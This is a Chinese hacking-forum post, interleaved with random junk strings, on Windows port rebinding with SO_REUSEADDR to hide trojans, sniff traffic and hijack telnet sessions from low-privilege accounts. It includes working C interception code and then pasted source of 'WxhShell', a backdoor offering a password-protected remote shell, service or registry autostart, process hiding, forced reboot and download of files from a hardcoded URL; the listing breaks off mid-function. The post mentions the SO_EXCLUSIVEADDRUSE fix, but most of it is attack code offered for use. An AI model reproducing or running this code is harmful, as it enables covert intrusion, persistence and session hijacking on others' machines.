社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13378阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !Ud'(iGa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m6ge %  
w5HIR/kP  
  saddr.sin_family = AF_INET; ='o3<}  
0w3c8s.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FfJ;r'eGs  
MF4 (  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q:(mK* _  
W/!P1M n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dj Ojd,  
5;/n`Bd  
  这意味着什么?意味着可以进行如下的攻击: CW &z?Bra  
#y:D{%Wp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +M0pmK!  
ca_mift  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "CJ~BJI%  
_Hv+2E[4Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PR.3EL  
4=([v;fc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q%JI-&K  
[P`e @$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mZR3Hl$  
#{q.s[g*+1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d2`g,~d  
@=Q!a (g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XGx[Ny_A2  
*vD.\e~  
  #include 5CFNBb%Xy  
  #include Qu61$!  
  #include VV$t*9w  
  #include    ,/{e%J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k."p&  
  int main() \~ D(ww  
  { - eG~  
  WORD wVersionRequested; %lHHTZ{+  
  DWORD ret; G tI )O}  
  WSADATA wsaData; :25LQf^nz  
  BOOL val; 7Bp7d/R-  
  SOCKADDR_IN saddr; 2 |je{  
  SOCKADDR_IN scaddr; A `Z/B[)  
  int err; kXSX<b<%  
  SOCKET s; uAn}qrqE9  
  SOCKET sc; 5daq}hsQs  
  int caddsize; ]c/E7|0Q  
  HANDLE mt; 2FIL@f|\7z  
  DWORD tid;   q Q\j  
  wVersionRequested = MAKEWORD( 2, 2 ); ' k,2*.A  
  err = WSAStartup( wVersionRequested, &wsaData ); |3'  
  if ( err != 0 ) { $d?W1D<A  
  printf("error!WSAStartup failed!\n"); G\@pg;0|y  
  return -1; 32YbBGDN!f  
  } [s( D==8  
  saddr.sin_family = AF_INET; dht0PZdx?  
   =u<:'\_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dkC[SG`  
cV+?j}"*+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MVYd\)\o  
  saddr.sin_port = htons(23); *LEy# N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;V}:0{p  
  { CxF d/X,  
  printf("error!socket failed!\n"); yH/A9L,Z  
  return -1; .e~"+Pe6b  
  } }UhYwJf89  
  val = TRUE; 5RP kAC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [8iY0m_Qe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $'J3 /C7  
  { k;l3^kTy  
  printf("error!setsockopt failed!\n"); <CyU9`ye  
  return -1; ]q]xU,  
  } n=.P46|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }|DspO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1t  R^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qm%PpQ^Lz3  
|bY@HpMp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J usU5 e|  
  { Y sM*d  
  ret=GetLastError(); |b   
  printf("error!bind failed!\n"); SI}s  
  return -1; E/zf9\  
  } r]3-}:vU  
  listen(s,2); ]@{Lx>Oh"  
  while(1) my?Ly(#  
  { IVR%H_uz  
  caddsize = sizeof(scaddr); 23}` e  
  //接受连接请求 jf9+H!?^N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V(7,N(  
  if(sc!=INVALID_SOCKET) KF. {r  
  { 4{P+p!4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "_{NdV|a  
  if(mt==NULL) /I%z7f91O  
  { n4K!Wv&u  
  printf("Thread Creat Failed!\n"); \Vyys[MMY8  
  break; #<*Vc6pC  
  } AC,RS 7  
  } -o ).<&#  
  CloseHandle(mt); =Hi@q "  
  } ^hIdmTf6  
  closesocket(s); Z8|<%1Kge  
  WSACleanup(); }v ZOPTP  
  return 0; *1)>He$qL  
  }   GJ ^c^`  
  DWORD WINAPI ClientThread(LPVOID lpParam) ./YR8#,  
  { }Hg G<.H>  
  SOCKET ss = (SOCKET)lpParam; [YDSS/  
  SOCKET sc; s3>a  
  unsigned char buf[4096]; Lljn\5!r<  
  SOCKADDR_IN saddr; B~]Kqp7yU  
  long num;  Gl~l  
  DWORD val; j ZXa R  
  DWORD ret; aO'#!k*R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oZ'a}kF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N^L@MR-  
  saddr.sin_family = AF_INET; 8 x{Owj:Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s0SzO,Vi  
  saddr.sin_port = htons(23); 4#$#x=:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ? #K|l*  
  { mWp>E`l  
  printf("error!socket failed!\n"); zggnDkC5  
  return -1; J@3,  
  } P'W} ]mCD  
  val = 100; Ln+l'&_nb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /fI}QY1  
  { 1dH|/9  
  ret = GetLastError(); ^? fOccfQ{  
  return -1; 8w0~2-v.?V  
  } %8'8XDq^8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EZUaYp ~M  
  { fQ<sq0' e\  
  ret = GetLastError(); RZa/la*  
  return -1; v3-/ [-XB:  
  } DH(<{ #u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FQZ*i\G>>  
  { /3b *dsYsl  
  printf("error!socket connect failed!\n"); SDnl^a  
  closesocket(sc); 2b"*~O;  
  closesocket(ss); !=[Y yh  
  return -1; q}{E![ZTu  
  } 0Hnj<|HL  
  while(1) 8D*7{Q  
  { 1 .3#PdMR,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [M|^e;tWK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =*\s`ox`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;blL\|ch;  
  num = recv(ss,buf,4096,0); ?@64gdlwq  
  if(num>0) =2R4Z8G  
  send(sc,buf,num,0); \6b~$\~B  
  else if(num==0) u$nzpw0=H  
  break; k&Pt\- 9on  
  num = recv(sc,buf,4096,0); &YhAB\Rw  
  if(num>0) w~3X m{  
  send(ss,buf,num,0); p Cz6[*kC  
  else if(num==0) ]J7qsMw  
  break; pBsb>wvej  
  } dY1t3@E  
  closesocket(ss); :qzg?\(  
  closesocket(sc);  o E+'@  
  return 0 ; q<YM,%mgj  
  } X=)V<2WO  
bLc5$U$!I  
-U|c~Cqc  
========================================================== -]N2V'QB  
I Xc `Ec  
下边附上一个代码,,WXhSHELL 0z8(9DlTc  
RXgb/VR  
========================================================== 2#wnJdr6E  
bWe2z~dP  
#include "stdafx.h" ;UdM8+^/V]  
B,>02EZ  
#include <stdio.h> wh:;G`6S  
#include <string.h> .LzA'q1+z  
#include <windows.h> te@m#` p9  
#include <winsock2.h> `PWKA;W$0  
#include <winsvc.h> yV^Yp=f_  
#include <urlmon.h> }M07-qIX{  
d4Uw+3ikW  
#pragma comment (lib, "Ws2_32.lib") OSu&vFKz  
#pragma comment (lib, "urlmon.lib") E7uIur=g!  
V?mP7  
#define MAX_USER   100 // 最大客户端连接数 +=tdgw/  
#define BUF_SOCK   200 // sock buffer Wf~^,]9N  
#define KEY_BUFF   255 // 输入 buffer )GB#"2  
= 0 ~4k#  
#define REBOOT     0   // 重启 XC<fNK  
#define SHUTDOWN   1   // 关机 =z1Lim-  
4n,&,R r#  
#define DEF_PORT   5000 // 监听端口 j=sfE qN).  
osp~)icun  
#define REG_LEN     16   // 注册表键长度 7[ ovEE54  
#define SVC_LEN     80   // NT服务名长度 Ycr3$n]e  
Aztrq  
// 从dll定义API *>m[ZJd%=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %ZVYgtk;*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % km <+F=~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )*KMU?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0R?1|YnB  
o/AG9|()4  
// wxhshell配置信息 ?2@^O=I  
struct WSCFG { Ah2@sp,z  
  int ws_port;         // 监听端口 Wa;N(zw0h  
  char ws_passstr[REG_LEN]; // 口令 prJd'  
  int ws_autoins;       // 安装标记, 1=yes 0=no U9 iI2$  
  char ws_regname[REG_LEN]; // 注册表键名 \Ec<ch[)c  
  char ws_svcname[REG_LEN]; // 服务名 e@3SF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {;$oC4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V^7.@BeT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %.bDK}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J/]%zwDwS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^ :VH?I=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >}SEU-7&\  
 AG(6.  
}; ;4 O[/;i  
LnR>!0:c  
// default Wxhshell configuration Du_5iuMh  
struct WSCFG wscfg={DEF_PORT, zs=3e~o3  
    "xuhuanlingzhe", k*1Lr\1  
    1, E%w^q9C  
    "Wxhshell", =~:IiK/#  
    "Wxhshell", ,{*g Q%7  
            "WxhShell Service", QE]'Dc%  
    "Wrsky Windows CmdShell Service", s&7 3g0$$  
    "Please Input Your Password: ", 6Zi{gx  
  1, b0~r/M;J  
  "http://www.wrsky.com/wxhshell.exe", (]@S<0  
  "Wxhshell.exe" Us`=^\  
    }; # ~<]z  
M`Y^hDl6  
// 消息定义模块 Y"FV#<9@7E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (.-4Jn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 12`u[O}\}-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ztVTXI%Kz  
char *msg_ws_ext="\n\rExit."; 1EU4/6!C  
char *msg_ws_end="\n\rQuit."; +tPBm{|  
char *msg_ws_boot="\n\rReboot..."; k9k39`t  
char *msg_ws_poff="\n\rShutdown..."; Lu#qo^  
char *msg_ws_down="\n\rSave to "; JM7mQ'`Ud  
|4\1V=(  
char *msg_ws_err="\n\rErr!"; =Jm[1Mgt  
char *msg_ws_ok="\n\rOK!"; fRS;6Jc  
/+*"*Br/  
char ExeFile[MAX_PATH]; Ph3;;,v '  
int nUser = 0; .n<vhLDQn  
HANDLE handles[MAX_USER]; V 20h\(\\  
int OsIsNt; a_Y<daRO  
iil<zEic  
SERVICE_STATUS       serviceStatus; jOGdq;|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FGDVBUY@  
aAjl 58  
// 函数声明 svpQ.Q  
int Install(void); -,8LL@_  
int Uninstall(void); 8lusKww  
int DownloadFile(char *sURL, SOCKET wsh); SAP/jD$5]>  
int Boot(int flag); N{%7OG  
void HideProc(void); V k{;g  
int GetOsVer(void); zYzV!s2^  
int Wxhshell(SOCKET wsl); 6n]+(=  
void TalkWithClient(void *cs); C|ZPnm>f30  
int CmdShell(SOCKET sock); G)am ng/  
int StartFromService(void); wn"}<ka  
int StartWxhshell(LPSTR lpCmdLine); "BQnP9  
nCYkUDnZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ty g>Xv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b,'O|s]"Sc  
01A{\O1$j  
// 数据结构和表定义 6H|1IrG  
SERVICE_TABLE_ENTRY DispatchTable[] = >jt2vU@t.  
{ SwOW%o  
{wscfg.ws_svcname, NTServiceMain}, k8D _  
{NULL, NULL} K1@ Pt}  
}; 8?Zhh.  
]PS`"o,pF$  
// 自我安装 9@|52dz%  
int Install(void) 9nR\7!_  
{ .!3e$mhV  
  char svExeFile[MAX_PATH]; zsp%Cz7T  
  HKEY key; %7ngAIg  
  strcpy(svExeFile,ExeFile); A-!e$yz>  
{s8c@-'  
// 如果是win9x系统,修改注册表设为自启动 >pF*unC;  
if(!OsIsNt) { zj7ta[<tr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~nA k-toJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O},}-%G  
  RegCloseKey(key); Tz1^"tx9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i(4<MB1a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @j\:K<sk  
  RegCloseKey(key); :+\0.\K0!  
  return 0; wtS*-;W  
    } ,ua1sTgQ  
  } B0Df7jr%`>  
} LdZVXp^  
else { )ce 6~   
0he3[m}Nr  
// 如果是NT以上系统,安装为系统服务 D40 vCax^J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3"x_Y  
if (schSCManager!=0) _ $a3lR  
{ iVFOOsJ@  
  SC_HANDLE schService = CreateService Cx TAd[az  
  ( Go%Z^pF3CO  
  schSCManager, VM$n|[C~  
  wscfg.ws_svcname, $yx\2   
  wscfg.ws_svcdisp, Fx^wV^q3  
  SERVICE_ALL_ACCESS, YPGM||  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ji?Hw  
  SERVICE_AUTO_START, %n|  
  SERVICE_ERROR_NORMAL, _wKwiJs  
  svExeFile, Jxvh;  
  NULL, h ;*x1BVE  
  NULL, YYQvt  
  NULL, @;egnXxF<  
  NULL, .lcp5D[(  
  NULL Wk[a|>  
  ); k!Yc_ZB:*l  
  if (schService!=0) cC-8.2  
  { RRja{*R  
  CloseServiceHandle(schService); Kn^+kHh:  
  CloseServiceHandle(schSCManager); W1REF9i){  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U<'N=#A J  
  strcat(svExeFile,wscfg.ws_svcname); {T8;-H0H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SW9 C 8Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  {b!{~q  
  RegCloseKey(key); [QnN1k  
  return 0; "W(D0oy  
    } }PI:O%N;  
  }  I0mp[6  
  CloseServiceHandle(schSCManager); 8"&!3_  
} d27q,2f!  
} nI3p`N8j*  
*'?ZG/ (  
return 1; 'ma X  
} s,Gl{  
BHr,jC  
// 自我卸载 \WiCI:  
int Uninstall(void) T1C_L?L  
{ -m^- p  
  HKEY key; ) ^ En  
rD}g9?ut  
if(!OsIsNt) { /#00'(oD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~6) Gk&  
  RegDeleteValue(key,wscfg.ws_regname); CQ2vFg3+o  
  RegCloseKey(key); v]cw})l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {.LJ(|(Mz  
  RegDeleteValue(key,wscfg.ws_regname); RL}?.'!  
  RegCloseKey(key); 5len} ){  
  return 0; )^(gwE  
  } *tv&=  
} K+~?yOQj  
} ?;l@yx  
else { M8-8 T  
[K A^+n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sTd@/>S?p  
if (schSCManager!=0) t~L4wr{B  
{ AGFA;X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 54p{J  
  if (schService!=0) Z'i@;^=A  
  { :u7BCV|yr  
  if(DeleteService(schService)!=0) { =K:[26  
  CloseServiceHandle(schService); myj/93p}`b  
  CloseServiceHandle(schSCManager); 20}HTV{v  
  return 0; 2WS*c7Ct  
  } 6)1PDlB  
  CloseServiceHandle(schService); OkC.e')Vx  
  } vhF9|('G  
  CloseServiceHandle(schSCManager); +JI,6)Ry  
} 'u.Dt*.Uq  
} !/,oQoG  
sV#%U%un  
return 1; ~Z5AImR|  
} Bv7FZK3  
bo#xqSGQ  
// 从指定url下载文件 0f5 ag&  
int DownloadFile(char *sURL, SOCKET wsh) W/UA%We3+L  
{ 0m3hL~0(a  
  HRESULT hr; Zv}F?4T~:  
char seps[]= "/"; brTNwRze  
char *token; H|aFs.SEQ  
char *file; Gbhw7 (&  
char myURL[MAX_PATH]; -;gQy[U  
char myFILE[MAX_PATH]; '=;e# C`<{  
F`4W5~`  
strcpy(myURL,sURL); x:-NTW -g  
  token=strtok(myURL,seps); :Fhk$?/r  
  while(token!=NULL) N~]qQ oj,  
  { &S(>L[)9  
    file=token; 9&r]k8K  
  token=strtok(NULL,seps); }36AeJ7L  
  } 5=V"tQ&d9U  
J%"5?)[z  
GetCurrentDirectory(MAX_PATH,myFILE); _=0Ja S>M.  
strcat(myFILE, "\\"); to: ;:Goa  
strcat(myFILE, file); >\K=)/W2  
  send(wsh,myFILE,strlen(myFILE),0); x=H{Rv  
send(wsh,"...",3,0); 5:r AWq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yhgGvyD  
  if(hr==S_OK) M_!]9#:K7  
return 0; d21thV ,S  
else 2D%2k  
return 1; `]65&hWZL  
'|gsmO  
} o<A-ETx<  
_1?uAQ3,  
// 系统电源模块 29grbP  
int Boot(int flag) HKbV@NW  
{ R'Ue>k  
  HANDLE hToken; KAZ<w~55c  
  TOKEN_PRIVILEGES tkp; :uAL(3pQ  
(^W}uDPCB  
  if(OsIsNt) { cS Lj\'`b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W!HjO;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (ORbhjl  
    tkp.PrivilegeCount = 1; EPW4 h/I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hRXnig{;3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  @N '_qu  
if(flag==REBOOT) { Z4G%Ve[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1^^{;R7N  
  return 0; jS]Saqd  
} egsP\ '  
else { & PXT$x[i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {*bx8*y1  
  return 0; T[OI/ WuK  
} -Y+pLvG*  
  } g<;pyvq|:  
  else { 0fstEExw  
if(flag==REBOOT) { lO\HchG zB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WCd: (8B  
  return 0; F~=kMQO  
} D)G oWt  
else { \\EX'L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9Avj\G  
  return 0; f~l pa7  
} ]?_~QE`  
} 1VYH:uGuAU  
$MvKwQ/  
return 1; P 4)Q5r  
} bCP2_h3*  
E[t[R<v,P!  
// win9x进程隐藏模块 { (.@bT@  
void HideProc(void) ;m] nl_vg  
{ W2h*t"5W  
78]*Jx>L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a9&[Qv5-/  
  if ( hKernel != NULL ) \roJf&O }  
  { pGU .+[|(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W0x9^'=s\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v8)wu=u  
    FreeLibrary(hKernel); Ib{#dhV  
  } 8Mtd}{Fw*  
hTO5*5]0zP  
return; m^BXLG:b  
} 5vD\?,f E  
-`ljKp  
// 获取操作系统版本 EyR/   
int GetOsVer(void) vg?(0Gasm*  
{ 6{d?3Jk  
  OSVERSIONINFO winfo; >4bw4 Z1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :!Z|_y{b  
  GetVersionEx(&winfo); 7 `~0j6FY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ LgP  
  return 1; v@G&";|  
  else gjD|f2*x  
  return 0; (8~mf$ zx,  
} V*JqC  
msw'n  
// 客户端句柄模块 ;\pINtl9<  
int Wxhshell(SOCKET wsl) ^W}| 1.uZ  
{ #/I+[|=[O  
  SOCKET wsh; f.` 8vaV  
  struct sockaddr_in client; q9x@Pc29d  
  DWORD myID; yU(}1ZID  
N (\n$bpTt  
  while(nUser<MAX_USER) 5jK|  
{ (eb65F@P  
  int nSize=sizeof(client); z( ^?xv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CUTjRWQ  
  if(wsh==INVALID_SOCKET) return 1; M'|[:I.V  
h('5x,G%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !m=Js"  
if(handles[nUser]==0) `B&E?x  
  closesocket(wsh); nQ'NS  
else sBWyUD  
  nUser++; HQF@@  
  } VxOWv8}|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gs0 jwI  
1Cc91  
  return 0; /xSJljexz  
} {B#w9>'b  
=MJRQ V67  
// 关闭 socket k 5% )  
void CloseIt(SOCKET wsh) S_*Gv O  
{ _nzTd\L88  
closesocket(wsh); X:f5t`;  
nUser--; %d-WQwJ  
ExitThread(0); (-1{W^(  
} NH5sV.vvc  
t?^!OJ:L  
// 客户端请求句柄 AD!w:jT9  
void TalkWithClient(void *cs) Qhe<(<^J,  
{ IuFr:3(  
TUGD!b{  
  SOCKET wsh=(SOCKET)cs; }VWUcALJV  
  char pwd[SVC_LEN]; MowAM+?^}  
  char cmd[KEY_BUFF]; 7C Sn79E  
char chr[1]; ,6^Xn=o #  
int i,j; {]|<|vc;GI  
GXLh(d!C  
  while (nUser < MAX_USER) { uZf 6W<a  
~tL:r=  
if(wscfg.ws_passstr) { B<myt79F_[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JSq3)o9?/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V"gKk$j7  
  //ZeroMemory(pwd,KEY_BUFF); E>#@ H  
      i=0; S,|ZCl>+  
  while(i<SVC_LEN) { 1QhQ#`$<1  
]p4?nT@]  
  // 设置超时 S+Ia2O)BA  
  fd_set FdRead; ^v5]Aq~X  
  struct timeval TimeOut; ON{a'H  
  FD_ZERO(&FdRead); $B9?>a|{A  
  FD_SET(wsh,&FdRead); usKP9[T$  
  TimeOut.tv_sec=8; DIP%*b#l$\  
  TimeOut.tv_usec=0; s9Tn|Pm+!\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KDf#e3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v0!(&g 3Sd  
| h"$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [SKDsJRPP  
  pwd=chr[0]; O\oRM2^u}  
  if(chr[0]==0xd || chr[0]==0xa) { dA2@PKK  
  pwd=0; [".94(qs  
  break; XdzC/ {G  
  } ; X+.Ag  
  i++; V\n!?1{kdF  
    } uARkf'  
`CL\-  
  // 如果是非法用户,关闭 socket d@8: f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vN]_/T+  
} R:'&>.AUw  
,\\=f#c=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < )_#6)z:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %PPy0RZ^  
ncVt (!c,e  
while(1) { dB&<P[$+8  
FKe/xz  
  ZeroMemory(cmd,KEY_BUFF); ,T ^A?t  
DqI"B  
      // 自动支持客户端 telnet标准   2w~Vb0  
  j=0; 8"LM:0x  
  while(j<KEY_BUFF) { [EVyCIcY,h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C>-}BeY!  
  cmd[j]=chr[0]; S,,Wb &A$  
  if(chr[0]==0xa || chr[0]==0xd) { iB~dO @  
  cmd[j]=0; S<*1b 6%D  
  break; 1o_Zw.  
  } <Nloh+n=  
  j++; P uQ  
    } -nD} k  
KB^GC5L>  
  // 下载文件 #K`[XA  
  if(strstr(cmd,"http://")) { MCXt,`}[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "*c&[ALw  
  if(DownloadFile(cmd,wsh)) u#V;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Du-Q~I6  
  else U(~Nmo'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p2O[r  
  } >h9~ /  
  else {   LR4W  
V.+a}J=Cw  
    switch(cmd[0]) { l r~>!O  
  jrm^n_6};  
  // 帮助 C.}ho.} r  
  case '?': { iP9Dr<P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uc=u4@.>  
    break; b+dmJ]c  
  } xkkG#n)  
  // 安装 hPKutx  
  case 'i': { 0G'v4Vj0'  
    if(Install()) sAK&^g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dJb7d`  
    else nxm*.&#p?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k<o<!   
    break; >RiU/L  
    } ~X;sa,)L1+  
  // 卸载  -l"8L;`  
  case 'r': { oChf&W 8u  
    if(Uninstall()) 2@&"*1(Xu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0'zjPE#  
    else ~PN[ #e]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); idS+&:'  
    break; I'<sJs*p  
    } 5mZ9rLn  
  // 显示 wxhshell 所在路径 CWD $\K G  
  case 'p': { sI4 FgO  
    char svExeFile[MAX_PATH]; )%: W;H  
    strcpy(svExeFile,"\n\r"); G+3uY25y  
      strcat(svExeFile,ExeFile); %2?"x*A  
        send(wsh,svExeFile,strlen(svExeFile),0); )R@Y$*fm  
    break; )1)&fN41i#  
    } IJ{VCzi  
  // 重启 *@YQr]~ ;  
  case 'b': { \x_$Pu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {PL,3EBG  
    if(Boot(REBOOT)) y}W*P#BDO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Kc3/*eu;  
    else { ;~}!P7z  
